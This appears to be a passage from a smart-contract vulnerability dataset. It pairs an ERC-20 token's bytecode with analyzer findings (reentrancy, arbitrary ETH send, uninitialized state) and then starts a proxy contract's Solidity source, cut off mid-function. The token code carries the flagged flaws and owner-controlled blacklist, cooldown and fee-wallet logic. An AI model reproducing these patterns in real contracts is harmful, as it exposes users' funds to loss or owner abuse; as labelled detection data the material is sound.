9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d494e55efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122055e37992638637de6c252e5edbb8a5c5ba0a2318c3fd690baaf36d73491971fb64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,368 |
0xb9fb8a22908c570c09a4dbf5f89b87f9d91fbf4a | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
